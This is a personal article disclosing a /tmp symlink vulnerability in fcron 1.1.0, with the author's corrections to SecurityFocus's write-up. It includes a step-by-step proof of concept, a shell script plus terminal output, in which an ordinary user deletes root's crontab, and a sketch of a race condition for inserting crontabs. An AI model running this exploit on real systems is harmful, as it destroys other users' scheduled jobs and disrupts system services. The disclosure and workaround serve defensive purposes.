Uwe Ohse

articles

fcron-1.1.0 allows anybody to delete all crontabs

Note: The people maintaining www.securityfocus.com claim that i posted this to bugtraq. I didn't. I posted this notice to the securesoftware mailing list instead, since some of my mails to the bugtraq mailing list vanished (it may be that the moderators rejected them without notice, but there also may have been technical problems on their side - in any case this doesn't encourage me to post there).

Here is the the original mail. What securityfocus did with this: page 1, page 2, page 3, page 4, page 5 and page 6.

These www.securityfocus.com pages contain many errors

Page 1 claims the exploit is remote and not local. This is obviously wrong.
Page 1 claims the bug exists in version 1.0, but not in version 1.0.1, 1.0.2 and 1.0.3. Well, this may be ... but _i_ only know and wrote that it exists in version 1.1.0.
Page 3, exploit, quotes parts of my mail, but also contains these line: 
    Exploit (fcronx.c) by _kiss_
I didn't write this. The fcronx.c file exploits another problem, but not the one i reported.
Page 4, credit, claims: 
    Reported to bugtraq by Uwe Ohse
    <uwe@ohse.de> on June 7, 2001.
I didn't send this to bugtraq, but to the securesoftware mailing list.

Fcron Description:

From the README: 

    Fcron is a scheduler. It aims at replacing Vixie Cron, so it 
    implements most of its functionalities.

Vulnerability:

The fcrontab program contains a classical /tmp symlink vulnerability, allowing any attacker to delete anybodies crontab, with the obvious impact on the system services.

This has been tested on Linux and OpenBSD.

The author has been informed on 2001-05-07. A new release may or may not be available, i was too busy to follow this. In any case the workaround is obvious: make the fcrontab problem only executable for root.

How to repeat:

  1. Install a crontab, for example for the root user: 
    
    root# ls -l /var/spool/fcron/
    total 0
    root# echo '0 0 * * * echo test' | fcrontab -
    09:53:00 installing file /tmp/fcrontab.27301 for user root
    Modifications will be taken into account right now.
    root# ls -l /var/spool/fcron/
    total 2
    -rw-------   1 root     root          110 May  7 09:53 root
    -rw-------   1 root     fcron          20 May  7 09:53 root.orig

  2. As a normal user write and execute a script: 
    
    uwe$ cat ~/x
    #! /bin/sh
    ln -s /var/spool/fcron/rm.root /tmp/fcrontab.$$
    exec fcrontab - <<EOF
    * * * * * false
    EOF
    uwe$ ./x
    09:55:55 installing file /tmp/fcrontab.27536 for user uwe
    09:55:55 User uwe can't read file "/tmp/fcrontab.27536": Permission denied

  3. As root look into the fcron spool directory: 
    
    root# ls -l /var/spool/fcron/
    total 3
    -rw-r-----   1 uwe      fcron          16 May  7 09:55 rm.root
    -rw-------   1 root     root          110 May  7 09:53 root
    -rw-------   1 root     fcron          20 May  7 09:53 root.orig

  4. As the normal user edit your crontab: 
    
    uwe$ echo '* * * * * true' | fcrontab -
    09:59:15 installing file /tmp/fcrontab.27543 for user uwe
    Modifications will be taken into account at 10h00.

  5. As root wait up to a minute and look into the fcron spool directory: 
    
    # ls -l /var/spool/fcron/
    total 3
    -rw-------   1 root     fcron          20 May  7 09:53 root.orig
    -rw-------   1 root     root          102 May  7 09:59 uwe
    -rw-r-----   1 fcron    fcron          15 May  7 09:59 uwe.orig
  6. Root's crontab is gone, look into your backups.

Additional risk:

As far as i can see one can also insert new crontabs into the system, but to achieve this one has to exploit a race condition which doesn't seem to be easy to use. The key is to create a link to new.someone and to kill the fcrontab program just after it creates the temporary file but before it notices that the new file is malformed and removes it.